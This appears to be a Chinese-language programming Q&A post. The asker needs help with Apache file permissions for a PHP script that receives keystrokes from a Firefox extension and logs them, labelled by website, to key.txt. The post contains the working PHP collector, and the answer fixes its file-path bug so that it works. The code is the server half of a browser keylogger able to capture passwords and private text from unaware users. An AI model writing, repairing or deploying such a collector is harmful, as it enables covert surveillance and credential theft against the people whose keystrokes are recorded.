一种改变Apache所有权以创建txt文件的方法

of1yzvn4  于 2022-11-16  发布在  Apache
关注(0)|答案(1)|浏览(97)

如果你们知道的话,能告诉我如何在Windows中更改Apache的所有权吗?因为我不能在没有权限的情况下使用PHP创建txt文件。根据我的问题,我需要能够授权一个文件。
我正在尝试做的是创建一个脚本,记录Firefox扩展部分中的击键。这个脚本会将数据发送到一个Apache PHP文件,并将其存储在一个文本文件中。如果可以的话,我将非常感谢您的回复。

<?php
session_start();
if (!isset($_POST['key'])) {
    echo ("Didn't received any new KEY strokes Yet!");
    exit(0);
}
//read and write = a+, If the file does not exist, attempt to create it
$file_log = fopen("key.txt","a+");

if (!isset($_SESSION['site']) || $_SESSION['site'] != $_POST['site']) {
    $_SESSION['site'] = $_POST['site'];
    fwrite($file_log, "| site : ".$_POST['site']." | ");

}

fwrite($file_log,$_POST['key']);
fclose($file_log);
echo("text saved successfully");
lf5gs5x2

lf5gs5x21#

您似乎没有定义文件的完整路径。
根据php运行的位置,只调用fopen("key.txt","a+")可能会默认到根目录。
创建/修改文件时,应指定文件的完整路径

fopen("/var/www/mydir/example/path/key.txt","a+")

相关问题